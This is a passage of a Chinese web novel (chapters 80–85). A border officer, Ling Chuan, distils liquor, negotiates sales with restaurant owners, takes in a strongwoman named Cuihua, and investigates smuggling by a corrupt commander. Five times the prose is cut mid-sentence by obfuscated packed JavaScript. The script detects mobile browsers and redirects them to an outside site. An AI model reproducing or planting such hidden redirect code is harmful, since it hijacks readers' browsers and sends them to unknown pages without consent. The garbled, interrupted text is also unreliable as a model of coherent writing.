事实上,在得知叶世珍前来,他便想到让他将这个消息告知大将军,但凌川也不敢确信叶世珍是否可信,所以,刚才他循序渐进地透露消息,也是一种变相的试探。 凌川起身,对着叶世珍抱拳道:“先生猜得不错,那些马贼绝大多数都是边军,他们掳掠这些女子,以及盗取的那些甲胄,最终都会被运往关外,卖给胡羯人!” “千刀万剐的贼子!”叶世珍咬牙切齿,随即看向凌川问道:“你可知道他们背后之人是谁?” 凌川淡然一笑,说道:“以叶先生的睿智,想必已经猜到大概了!” 第80章 云州,祁城! 叶世珍目光流转,联想到了对方劫军粮的动机,瞬间想到了一个名字。 “章绩?” “我从马贼口中只问出了他,但我相信,他一个人是不可能完成如此大规模的走私贩卖的!”凌川补充道。 叶世珍点了点头,说道:“此事关乎重大,你务必给手下人交代,切不可走漏风声,我回去之后,第一时间禀报大将军!” “先生放心,回来的路上,卑职便已经给他们下达了封口令,绝不会走漏风声的!”凌川回答道。 “有劳叶先生了!”陈暻垚也起身对着他行了一礼。 叶世珍长叹一声,说道:“二位言重了,相比起我这个只会在帐中纸上谈兵的书生,你们才是大周的脊梁,虽朝廷**官员贪腐、权贵自重士族林立,但我等终究是周人,若有朝一日边关失守,真正受苦的依然是百姓!” 叶世珍这番话,让他在凌川心中的形象高大了几分,凌川本以为,大周气数将尽已然是没救了,可现在看来,还是有一批心怀苍生之士。 次日一早,叶世珍便离开了,凌川亲自送来几坛狼血,为其送行。 临行之前,叶世珍将其叫到一旁,说道:“凌兄弟,我有几句话想给你说!” “愿听先生教诲!” 叶世珍笑了笑,说道:“教诲不敢当,只是有几句肺腑之言!” 片刻后,凌川神色变得有些凝重,问道:“这是大将军的意思?” 叶世珍并没有正面回答,而是微微一笑,说道:“你是个聪明人,应该明白看破不说破的道理!” 说完,叶世珍便带着几名亲卫离开,可凌川的脑海中却一直回想着叶世珍的那句话。 ‘被利用不可怕,就怕自己连被利用的价值都没有!’ 随后,凌川也开始忙碌起来,他先是将画好的图纸交给李木匠,让他给自己做一个大蒸笼,随后又亲自带人修了一座酿酒用的炉子。 之前凌川是用米酒进行提纯,现在想要大规模生产这种方法肯定不行,一来是成本太高,再则是产量太低。 对于拥有两世记忆的凌川来说,制作蒸馏白酒并非什么难事,只不过无法做出前世那种名酒,毕竟缺少配方,但,仅仅是普通的高度白酒,在这个世界,就已经是仙酿一般的存在了,很难想象,这种酒一旦在市面上出现,会引发什么样的轰动。 人多力量大,不过一天的时间,炉子就已经修好,李木匠让**蒸笼送了过来,凌川便开始着手酿酒。 “相公,你要 忙于军务,这件事情就交给我吧,反正我也是闲着!”苏璃主动说道。 凌川本不想让苏璃劳累,但想到酿酒的核心环节还得掌握在自己人手里,苏璃无疑是最佳人选。 “那就辛苦娘子了!” “能帮到相公,我很开心的,更何况,我整日闲着也没事可做,而且,我发现酿酒也很有意思!”苏璃笑道。 接下来的两日,凌川手把手教苏璃酿酒,其中关键环节,都仔仔细细给她讲解,特别是火候、温度、时间和比例,凌川都说得很仔细。 原本,凌川还怕她记不住,哪曾想,苏璃记忆力惊人,凌川只说了一遍,她便牢记于心。 第三日,第一批酒出炉,凌川亲自品尝,不仅色泽比之前的更加清澈,酒香也更为甘醇浓郁。 “成功了,相公好厉害!”苏璃激动叫到。 整个过程她都参与其中,这种成就感无以言表。 “这也有娘子的一份功劳!”凌川笑道:“往后便可以大量酿酒了,我再去联系城中酒楼,销路肯定不愁的!” “嗯!相公放心交给我吧,我一定能做好的。”苏璃信心满满地说道。 “往后,咱们不仅要酿酒,还会做其它生意,娘子一个人是肯定忙不过来的,你得物色一些聪慧机灵的人选来打下手,当然,首选的第一条件是绝对忠诚!”凌川交代道。 “相公放心,我有分寸的!” 狼烽口有一月军粮,再加上此前缴获了胡羯人的不少军粮,足够狼烽口这一千多军卒吃两个月,但,这些都不能动。 正好,昨日在土堡缴获了不少粮食,可以用来酿酒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947996|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当然,这些是远远不够的,凌川还得自己掏银子去购买粮食。 就在这一日,一封来自北疆节度府的密信送到了狼烽口,只不过并非是送给陈暻垚的,而是送到凌川的手中。 这是叶世珍的亲笔信,内容只有寥寥几句话,可看完之后凌川神色中却透着几分凝重,随即让各标挑选几个对北境地形熟悉,最好是曾经有过经商经历的人出来,随自己去周围的城里去找销路。 第二日,五名死字营士兵出现在凌川面前。 “校尉大人,属下吕鸿,漠北祁城人,以前是个走街串巷的货郎!” “校尉大人,属下范颉,奉天范氏旁支,世代从商!” “校尉大人,属下钱丰,云岚县人,曾做过买卖!” 凌川了解得知,几人此前并未入伍从军,他们要么是商贩出身,要么家族本就是世代从商,因犯了事被捕之后,发配到死字营地。 凌川可以交代让他们换上便装,毕竟此次不是执行作战任务。 “校尉大人,不知召我等前来,有何吩咐?”范颉问道。 “你们曾经都是生意人,无论买卖做得大与小,肯定比我这个门外汉要强,咱们此次是去周边城镇为狼血找销路,这事儿你们得多多出力。” 凌川看着几人,继续说道:“只有挣了银子,兄弟们才不会挨冻受饿!” “校尉大人放心,上阵杀敌,我们比不上其他兄弟,但做买卖是属下的老本行!”钱丰说道。 “对!这方面咱们在行!”吕鸿也笑着说道。 凌川点了点头,随即带着几人出发。 按照计划,他们现在首先要去的便是祁城,距离狼烽口五十多里,与狼烽口皆属云州管辖。 为了不暴露身份,凌川特意让人挑选了几匹乙等马,毕竟,甲等战马太过招摇,懂行的人一眼就能看出来。 午时之前,他们便抵达了祁城,放眼云州或许祁城只是一个小县,但依旧比狼烽口繁华了太多。 城门出有士兵盘查,不过他们并未携带兵器,只是带了几坛酒,略微盘查了一下便放行入城了。 第81章 祁云阁,黄文彦! 此前了解到祁城常驻一营兵马兵力约莫在一千人按周军编制一营兵力在五百到一千不等像狼烽口一营只有五百兵卒就算是最少的了。 此外也有一些比较特殊的存在一营足有两三千人的兵力。 “吕鸿这祁城你最熟咱们直接去城里最好的酒楼!” “校尉大人祁城最好的酒楼当属祁云阁了百年老店、生意长盛不衰!”吕鸿回答道。 “就去祁云阁不过你们一会得换个称呼!”凌川笑道。 几人这才反应过来他们现在是乔装而来。 “好的公子!”范颉率先反应过来他毕竟是商贾世家出身学识和见识都高于一般人。 祁云阁不愧为祁城最好的酒楼一座三层建筑坐落在城中最繁华的位置门前两尊石狮子尽显气派。 凌川等人将马交给小厮刚进门眼尖的掌柜便立马迎了上来。 虽然几名随从穿着普通可领头的公子哥相貌堂堂、气质不凡而且那一身绸缎却非一般人能穿得起的显然不是一般人。 “几位是吃饭还是住店啊?祁云阁可是祁城老字号不仅有上号客房还有特色酒菜……” “本公子喜欢安静!” “好嘞公子随我来我给您安排楼上的雅间!”掌柜亲自将凌川几人带到楼上的雅间。 不得不说这雅间布置确实奢华桌椅皆是上好木材做工精细椅子上还垫了羊毛垫子。 “公子想吃点什么?”掌柜脸上堆着笑容问道。 凌川没有废话 掌柜一听笑得更加谄媚连连答应“公子放心小的一定给你安排祁云阁的招牌菜!” 雅间不小凌川示意几人都坐下这让他们显得有些局促。 很快菜便上桌了掌柜客气地问道:“公子本店有上等十里香……” 凌川直接打断了他说道:“酒我自己带了掌柜可否引荐一下你们东家?” 掌柜神色微变但还是笑着问道:“不知公子找我们东家所为何事?” “我家是做买卖的这次家中长辈派我出来历练想跟你们东家谈一桩买卖!”凌川随口编造了一个身份。 掌柜立马露出为难之色道:“不瞒公子东家年纪大了一般不见客。不过小的可以向东家通禀一声至于东家愿不愿意见您……” 凌川摆手笑道:“无妨,你只需告诉你们东家,这桩买卖让他只赚不赔。” 掌柜离开了,不消片刻,外面传来脚步声,掌柜率先进屋,躬身说道:“公子,我们东家到了!” 紧接着,一名年过花甲的老者杵着拐杖进屋,他身着华贵锦缎,大拇指上那枚玉扳指更是价值不菲,显然不是一般的小本生意人能比的。 凌川等人起身相迎,“冒昧叨扰,还望恕罪!” 老人微微一笑,说道:“无妨!” 随即,他便在凌川对面坐了下来,问道:“不知公子是何方人氏,所做的是什么买卖?” 凌川笑道:“在下冒昧打扰,理应先敬您一杯,再谈买卖的事情!” 吕鸿连忙起身,就要给对方倒酒,谁知,那老者竟然伸手挡住了面前的酒杯,说道:“老朽已经多年不饮酒,还望公子见谅!” 凌川哪里看不出,对方是压根没将自己放在眼里,不过他也不生气,而是自顾自端起酒杯,说道: “我敢保证,这杯酒,能让你祁云阁的每月收入提升两成,你确定不喝?” 然而,对方依旧面无表情,甚至眼神中还带着几分嘲讽,说道:“若是没有其他事情,恕老朽不奉陪了!” “看来,是在下唐突了,请便!” 凌川淡然说道,他没有刻意挽留,因为他明白一个道理,生意合作切不可将姿态放得太低,否则将会被对方死死拿捏。 只见他不慌不忙地拆开酒坛的封皮,给自己倒了一杯酒。 忽然已经起身走到门口的老者忽然停下脚步,猛然耸动鼻翼嗅了几口。 随即快速转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947997|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着凌川手中的酒坛,问道:“这是什么酒?” 凌川笑而不答,自顾自端起酒杯浅饮了一口。 这让老人更加好奇,他径直走回座位,问道:“公子这酒从何处购得?酒香如此浓郁,老夫生平未见!” 凌川笑道:“这就是我要跟你谈的生意,现在感兴趣了吗?” “感兴趣,当然感兴趣!”此时,老人脸上的傲慢与鄙夷已经消失不见,取而代之的是狂热与激动。 这就是凌川要的结果,只有双方处于同等位置,才能确保双方合作的公平性。 “吕鸿,给老东家上酒!”凌川伸手示意道。 吕鸿给老者倒了一杯酒,老者迫不及待地端起来,放在鼻子跟前嗅了一口,浓郁的酒香让他脸上堆满了陶醉。 凌川一语不发,静静看着对方,只见老者又尝了一口,先是一脸痛苦,随即脸色逐渐舒缓由痛苦变成享受再变成陶醉。 “老东家,这酒如何?”凌川开口问道。 老人名叫黄文彦,祁云阁是他祖上传下来的产业,他从小便跟着父亲打理酒楼,放眼南北,但凡能叫上名字的好酒,他都喝过,却从未见过如此佳酿。 色泽清澈,酒香浓郁,入口辛辣,入喉圆润,回甘绵长…… 这简直就是传说中的仙酿! “恕老朽眼拙,从未见过如此佳酿,不知公子这酒从何处得来?”黄老东家满脸激动,问道。 “此酒名为狼血,乃是我家族的独门秘方!”凌川回答道。 听到这里,他自然明白,这酒便是凌川跟自己谈的生意了,若说这酒能给祁云阁增加两成收入,确实是有些夸张了,毕竟,祁云阁本就是祁城最好的酒楼,但凡有点身份的人,定会首选这里。 黄文彦一大把年纪,早已是成精的人,只见他不动声色地放下酒杯,问道:“公子这酒,打算怎么卖?” 凌川也不主动开价,而是反问道:“黄老先生觉得,这酒值什么价格?” 第82章 **葬母! 老人目光闪烁,随即淡然伸出一根手指头,说道:“这酒确实不错,但毕竟以往的市面上没有出现过,也不知道符不符合大众口味,老朽觉得一两银子一斤比较合适!” 凌川淡淡一笑:“看来老先生并没有多少诚意啊,你经营了这么多年的酒楼,必是酒里行家,十里香跟我这狼血相比孰好孰劣,自不必我多言!” 黄老东家也笑道:“公子所言确实不假,不过,对于我祁云阁而言,用你的狼血还是用十里香,并无本质上的差别,甚至十里香酒力孱弱,客人喝得更多一些!” 黄老东家不愧为生意人,一下就看透了事情的本质,然而,凌川却是不慌不忙地将一块鱼肉送进嘴里,缓缓放下筷子,看着老东家,说道: “据我所知,这祁城虽是你祁云阁一家独大,但有牌面的酒楼却有四五家,你说如果我去找其他人谈这笔买卖,你祁云阁的地位还能保得住吗?” 黄文彦顿时神色一变,只因凌川这句话一下子刺中了他的软肋。 正如凌川所言,若是他将这个酒卖给其他酒楼,定会成为祁云阁最大的竞争者,甚至用不了多久,祁云阁那一批贵客都会被抢走,如此一来,祁云阁的地位迟早要被取代。 这是黄文彦绝对不想看到的结果。 “那公子觉得,这酒多少一斤?”黄文彦此时后心已经开始冒汗,但还是尽量保持镇定。 凌川漫不经心地伸出三根手指头,说道:“三两银子一斤,而且,先交一半定金,每次进购一百斤可给两成优惠!” 听到三两银子一斤,黄文彦顿时倒吸一口凉气。 要知道,哪怕是在神都,能卖到这个价格的酒,也是屈指可数。 但他很清楚,自己没有讨价还价的余地,自己如果不买有的是人买。 “好!就依公子所言,三两银子一斤!”黄文彦一咬牙答应了下来,“不过,老朽有一个条件。” “黄老先生请将!”凌川伸手示意。 “老朽的条件是,公子只能将狼血酒卖给我祁云阁,不能与其他人合作!” 凌川淡然一笑,说道:“老先生还真是谨慎,我可以答应你,整个祁城我只与祁云阁合作,不会再卖给第二家,至于你是否转卖他人,以什么价格转卖,我概不过问!” 谈到这里,这笔买卖就算是谈成了,黄文彦让掌柜取来一百五十两银票,放到凌川面前。 “这一百五十两是定金,不知公子何时能把酒送来?”凌川能明显感觉到对方眼神中的担忧,估计是 怕自己拿了银票就消失不见,但又不敢赌,万一自己找其他人合作呢? 凌川让范颉收起银票,回答道:“老先生放心,在下一定信守承诺,七日之内将一百斤狼血就送到祁云阁!” “好!老朽敬公子一杯,愿我们合作愉快!” 凌川端起酒杯与之碰了一下,黄老东家明显还没适应狼血的刚烈,一大口下去,顿时面红耳赤。 “那老朽就不打扰各位用餐了,有什么需要尽管叫我这侄儿就行!”黄文彦指了指掌柜的,随后起身告辞。 第一单生意就这么谈成了,让凌川心情大好,连忙招呼大家一起吃。 其实,凌川对于自己的酒还是很有信心的,只是没想到自己开价三两银子一斤,对方竟然被没有还价,想必是怕自己另找买家。 离开祁云阁,凌川敏锐察觉到背后有人跟踪,他嘴角勾起一抹冷笑,不用想也知道是祁云阁的人。 不过想想也正常,对方花了一百五十两银子,却连酒都没看到,自然得谨慎一些,但他们更关心的是,凌川一行是直接离开还是会去找其他酒楼合作。 得知凌川一行并未作任何停留径直出城,黄文彦顿时松了一口气。 “东家,我们对人家的底细一无所知便给了一百五十两银子,要是到时候他不把酒送来怎么办?”掌柜满脸担忧地问道。 黄文彦轻叹了一口气,说道:“我们没有选择,因为那酒是货真价实的东西,只能赌一把!” “要不要派人跟着,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947998|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看对方到底是什么来头?”掌柜提议道。 黄文彦摇了摇头,“不用,以免弄巧成拙!” 离开祁城之后,凌川一行径直前往云岚县,云岚县是云州位列前三的大县,无论是地域面积还是人口都不是祁城能比的。 向钱丰了解到云岚县酒楼不少,但最顶级的酒楼有两家,一家是天香楼,另一家是福临门,这两家一直处于竞争关系,且彼此结怨已久。 天香楼的东家姓谢,目前还没查出底细,不过这福临门却是大有来头,乃是云岚县刘家的产业。 刘家在云岚县盘踞多年,根深蒂固,原本谢家老东家还在的时候,还勉强能与福临门分庭抗礼,可自从老东家病逝,天香楼便一落千丈。 而且,钱丰还提到,福临门的背后或许有大人物撑腰。 “钱丰,去查一查,福临门的靠山是谁!” “是!”钱丰应了一声便独自离开,他曾在云岚县做买卖,肯定有自己的人脉关系,让他去打听,估计用不了多久就会有结果。 而凌川与剩下几人则是牵着马在城中转悠。 忽然,凌川注意到,前方街边围着不少人,似乎在看什么热闹。 凌川出于好奇,走上前瞥了一眼,只见一名膀大腰圆的女子跪在街边,身旁的木板上用黑炭歪歪扭扭写着四个字——**葬母! 这女子宛如一座肉山矗立,宽厚的肩背绷紧麻衣布衫,狮鼻虬结如磐石,浓眉之下那双眼睛只剩下两条缝隙,花岗岩一般的下颌,两条手臂更是比一般成年男子的小腿还要粗几分。 凌川很好奇,穷苦人家的女子,如何能吃出这身材来? 围观者不少,却没有一个人掏钱,只是当一个热闹。 “若是长相俊俏些,还有人买回去当媳妇,可长得如此惊世骇俗,成天看着估计会做噩梦!”有人调侃道。 “先不说其他,据说此女一顿能吃五斤米饭,一般家庭谁养得起?” 面对周围那些毫不避讳的谈论和嘲讽,女子始终低着头一言不发。 第83章 霸王龙翠花! “公子当下这世道很多穷人都活不下去了卖儿女、卖自己的事情到处都有在发生!”吕鸿开口说道。 凌川点了点头但还是把手中缰绳递给他走上前去问道:“你要多少银子?” 听到凌川的声音那女子缓缓抬起目光看向凌川随后伸出五根手指头。 凌川每天微微一皱问道:“五十两?” 女子摇了摇头憨声憨气地说道:“五……两!” “只要五两银子给俺娘买一口薄棺从今往后俺这条命就是你的!”女子声线如牛眼神之中带着几分恳求。 凌川倒也没想要买下她但看到这样的情况内心多少有些不忍。 “这样我帮你娘买一口棺材你先让她入土为安!” 女子眼神中闪过一丝狂喜连忙磕头:“多谢公子多谢公子!” “走吧我带你去棺材铺!” 女子站起身来凌川顿时感觉天都黑了一半足足两米多的身高普通成年人站在她面前就跟小孩一样哪怕是凌川也感受到了一股强烈的压迫感。 一路来到棺材铺棺材铺老板见状顿时脸一横说道:“你怎么又来了?都说了我这是小本生意挣**的钱概不赊账!” 凌川一听便知道她显然不是第一次来了。 “老板把你这里最好的棺材给她!”凌川走上前开口说道。 老板一愣问道:“最好的棺材得十五两银子你给钱啊?” 站在凌川身后的吕鸿闻言直接上前喝道:“让你给就给谁差你银子还是怎么的?” 说完直接掏出十五两银子递了过去老板见到银子脸上的傲慢之色瞬间被谄媚取代 将众人领进铺子指向正中间那口厚实的漆黑棺材说道:“这就是本店最好的棺材了用的是上好柏木而且上了五层大漆……” 不等老板说完那魁梧如铁塔一般的女子径直走上前弯腰俯身双手就这么抱着棺材直接扛了起来。 霎时间现场的气氛直接凝固下来。 无论是凌川等人还是棺材铺老板皆是像看怪物一样地看着她。 如此厚实的柏木棺材少说也有七八百斤可她却像拧小鸡仔一样直接一把抱起来放在肩膀上这到底是什么怪物? 更让人难以置信的是她竟然一点不觉得吃力心平气和地问道:“老板俺能走了吗?” “可可以……” 棺材铺老板颤颤巍巍地说道,此时他很庆幸,自己之前那种态度竟然没把她激怒,要不然,她那蒲扇一般的巴掌扇过来,自己不死也得半身不遂。 只见女子扛着棺材便大跨步出门,径直朝着街头跑去,沉重的脚步声令人心神震颤,只留下凌川等人站在风中凌乱。 然而,他们还没从震惊中缓过来,只见那铁塔一般的女子竟然扛着棺材狂奔了回来。 只见她径直冲到棺材铺门口,面不红心不喘地问道:“公子,俺叫翠花,俺回头去哪里找你?” 凌川很想让她先把棺材放下来,可见她一脸轻松的样子,感觉没必要多此一举。 “我天黑之前出城,你到城门口等我即可!”凌川说道。 “好嘞!”说完,翠花再次扛着棺材,一溜烟跑远了。 凌川一脸的不可思议,喃喃道:“这应该就是传说中的霸王龙吧!” 原本他只是想单纯的帮她一把,可见到她那惊人的力量之后,凌川反倒觉得,这样的‘奇才’定不能埋没了。 “这莫不就是传说中的金刚之体?”范颉满脸震惊地说道。 凌川一愣,问道:“金刚之体,有什么说法吗?” “公子,以前听人说世间有一种奇人,天生神力、体魄无双,被民间称之为金刚,咱们营里的大牛便是如此,这姑娘大概也是这种人!”范颉回答道。 凌川点了点头,说道,“这要是男儿身,定然是一员沙场猛将!” “我也只是听别人说过,至于是真是假,不得而知!”范颉笑道。 几人刚离开棺材铺,钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947999|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丰便赶了回来,“公子,我回来了!” “怎么样?”凌川问道。 “打听到了,福临门之所以在几年前一举压过天香楼,是因为福临门的背后有云岚县校尉撑腰!”钱丰小声说道。 “云岚县校尉是谁?”凌川问道。 “云岚县校尉名叫章俊,乃是章绩的堂弟!” “真是冤家路窄!”凌川嘴角勾起一抹冷笑道。 他这次出来,给白酒找销路是一方面,但还有另外一个目的,那就是调查土堡事件。 叶世珍的意思是,大将军不会亲自插手,凌川只能自己查。 不过,叶世珍在密信中表示,只要证据确凿,大将军会为其兜底。 这对于凌川而言,是扳倒章绩的唯一机会,当晚,他便将寇悔叫来,准确询问了关于土堡的所有消息和细节。 如今,土堡已经付之一炬,仅凭那些女子和兵甲想要扳倒章绩根本不够,甚至有可能被对方倒打一耙。 凌川要做的,就是将土堡背后隐藏那些线索全部挖出来,但,其中牵扯到其它县,自己直接带兵来调查,无异于授人以柄,所以,他只能暗中调查。 从之前寇悔给出的信息中,凌川捕捉到了一条重要线索,那就是那支商队从土堡之中带走兵甲和那些女子之后,竟然是朝着云州东面而去。 很显然,这种贩私商队是绝不可能走关隘出关的,而且,近些年来,北疆关隘大多封锁,两国之间不通往来。 那么,这支商队必然有一条隐秘的出关线路,可北境疆域辽阔,只有一些要略之地布置了兵力防守,大多地方只有日常巡防,至于一些险要之地,更是毫无人烟。 紧接着,凌川便想到了另外一个问题,对方既然是朝着东面走,那东面那些县城之中,会不会有人接应? 抱着这个疑问,凌川决定暗访,顺便为白酒找点销路。 其实,云岚县才是凌川此行的第一站,祁城只不过是路过,顺便做一单买卖。 第84章 云岚谢知命! 在得知驻守云岚县的校尉竟然是章绩的弟弟之后凌川心中便有了计较。 “走去天香楼!” 天香楼与福临门都处于云岚县城繁华地带而且两家是门对门仅隔一条街道。 哪怕此时并不是饭点福临门依旧是一片忙碌进进出出的客人络绎不绝反观天香阁则是冷冷清清一个客人都没有。 除此之外凌川还注意到好几名福临门的小厮竟然在门前的街道上揽客。 “几位是吃饭还是住店啊?咱们福临门是这云岚县城最好的酒楼……”那名小厮一边介绍一边伸手来牵凌川的马。 凌川眼神中闪过一丝不悦身后的钱丰则是挡在他跟前冷声喝道:“干什么?” 那小厮眼底闪过一丝怒意但很快就换上谄媚的笑容说道:“几位爷不要误会小的不过是想给你们牵马!” 凌川没有理会他而是径直朝着天香楼走去那小厮见状连忙挡在他跟前。 “这位公子吃饭还是咱们福临门的味道好些……” 凌川剑眉一蹙冷声问道:“怎么?这是要当街硬抢吗?” “哟!公子瞧您说的小的不过是善意提醒谁不知道天香楼宰客 “滚!” 凌川冷声喝道那小厮还想说什么可看到凌川那双冷漠的眼神顿时将嘴边的话给吞了回去退到一边。 看着凌川等人进入天香楼那小厮眼神中闪过一丝阴冷之色随即快步回到福临门将情况禀报给一名满脸痞气的中年汉子。 那汉子听说还有人敢去天香楼吃饭顿时一怒“还真有不怕死的?盯着他们!” “刘爷放心小的这就去盯着!”那小厮躬身回应了一声随即小跑出去。 进入天香楼只见偌大的大堂之中空荡荡的几十张桌子却没有一个客人店小二把桌椅都擦得能当镜子了掌柜坐在柜台跟前双手托着下巴不断唉声叹气。 “在营业吗?” 忽然门口一道声音传来让所有人瞬间来了精神店小二都不敢相信福临门都当街抢客就差堵他们店门了竟然还有客人上门。 “在在营业呢几位里边请!”店小二连忙迎了上去。 掌柜见状连忙迎了上来一把将店小二扒开亲自上前迎接好不容易来一拨客人可别放跑了。 “几位是吃饭还是住店啊?我们这儿有上好 的陈酿,新鲜的羊排,还有…… 凌川笑着问道:“掌柜的,请问你们东家在不在? 掌柜神色中闪过一丝戒备,问道:“公子找我们东家有什么事? “我找他谈一桩买卖,如果方便的话,劳烦通禀一声! “公子稍等,我这就去跟问问东家!掌柜答应了一声,随即小跑着上楼。 那店小二也是精明之人,连忙给凌川等人看了茶。 而凌川则是对范颉几人小声交代道:“你们去查一查有关章俊的事情,以及这云岚县中的势力…… 几人点了点头,随即出门离去。 不多时,掌柜回来,客气说道:“公子,我们少东家在后院,让我请您过去! “劳烦带路!凌川笑着点头,随即提着一壶酒跟了上去。 凌川跟随掌柜上楼,又穿过一道后门,竟然是一座吊桥,来到一座僻静小院跟前,还未靠近,凌川便闻到了淡淡的墨香。 “公子,我们少东家就在里边,您进去吧!掌柜将凌川领到门口,侧身而站,做了个请的手势。 “有劳了! 走进这座三面临窗的阁楼,只见一名身着白衣,头竖玉冠的男子,正坐在书桌跟前奋笔疾书,那一手小楷秀美而不失刚劲,一笔一划虽在规矩之内,却又神形兼备。 凌川还发现,这屋内墙壁贴满了宣纸,上面密密麻麻的字迹并非书画,而是农商治理方面的策略,这不由让凌川顿感错愕。 他写得入神,以至于凌川进屋都没有发现,凌川看得起兴,也没有出声打扰。 当男子落下最后一笔,将手中狼毫放在笔架上,这才注意到,客人已经到了书桌跟前。 他一拍脑门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948000|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙起身:“呀!我这走神的**病又犯了,兄台勿怪! 凌川摆手笑道:“少东家言重了,这一手好字真是令人赏心悦目,岂有怠慢之理! 男子笑着招呼凌川入座,随后有亲自沏茶,介绍道:“在下谢知命,不知公子如何称呼? “在下凌川!凌川没有隐瞒,如实说道。 谢知命在听到这个名字,不由得神色微微一变,试着问道:“敢问,可是狼烽口一箭射杀胡羯主将的凌校尉? 凌川没想到对方竟然知道自己,点头道:“正是在下! 谢知命连忙起身,对着他躬身一拜:“草民谢知命,见过校尉大人! 凌川连忙起身搀扶住他,“谢兄不必多礼, 我本次前来不为军务,而且,这里也不是军中。” 谢知命的眼神中满是激动,说道:“凌兄的英勇事迹可是传遍整个北境,无数人都视你为榜样,没想到今日谢某竟能得见真容,更没想到凌兄竟如此年轻!” “谢兄过奖了,戍边杀敌乃是吾辈边军的使命!” 二人寒暄一番,茶也煮好了,谢知命先给凌川倒了一杯,随后又给自己倒上,“我这里只有粗制劣茶,凌兄别介意!” “谢兄哪里话,这喝茶与喝酒一样,主要看跟谁喝!” “哈哈哈……凌兄此言甚妙,甚妙啊!”谢知命大笑道。 “说到喝酒,谢兄这天香楼如此大的牌面,为何这般冷清?”凌川打破僵局,逐渐进入正题。 谢知命轻叹一声,放下茶杯说道:“此事说来话长啊……” “凌兄你有所不知,这天香楼本是家父留下的产业,他前些年病故之后,便交到我的手中,我本就不善经营,全靠家父当初留下的人气,以及前堂后厨的班底,才勉强维持跟福临门分庭抗礼的局面。” “然而,三年前云岚县城换了一位校尉,与刘家走得很近,而福临门又是刘家的产业,以至于很大一部分客流都被福临门抢走,这原本是正常竞争,我也认了!” 第85章 无非一念救苍生! “谁曾想,接下来,那章校尉隔三岔五就让手下的兵痞来我这店里吃白食不说,还动不动就耍酒疯,殴打其他客人,我一个做买卖的,哪里得罪得起人家军方的人,只能替他们赔钱!”说到这里,谢知命的眼神中涌现出一丝愤怒。 “之后,福临门更是肆无忌惮当街抢客,谁要是敢来我天香楼,出门定会被他们报复,久而久之,就算是那些老主顾也不敢来了!” 凌川点了点头,说道:“这一点,我进门之时便已经领教到了!” 谢知命满脸愤懑却又无可奈何,说道:“说到底,都是因为福临门想要吞掉我天香楼,当初家父刚离世的时候,福临门的当家便找到我,想出五千两银子买下天香楼。先不谈五千两这个价格有多欺负人,天香楼于我而言毕竟是家父留下的产业,我岂可轻易变卖?” “两个月前,对方再次找到我,这次更过分,直接开价五百两,并放话说,如果不卖就等着彻底烂掉!” 凌川闻言,也为之一怒,说道:“这未免也太欺负人了!” “哎!世道如此,谁有权有势谁说了算,哪还有什么道理可讲?” “那谢兄准备怎么办?”凌川问道。 “还能怎么办?我准备遣散伙计,关门歇业了!”谢知命满脸无奈地说道。 “我倒是有个法子,能救活你的天香楼,不知谢兄有没有兴趣?”凌川看着谢知命问道。 谢知命一听,顿时露出激动之色,问道:“凌兄此话当真?” “当然!” 凌川说完,将带来的那坛酒拿到桌上,说道:“这是我酿制的酒,谢兄尝尝看!” 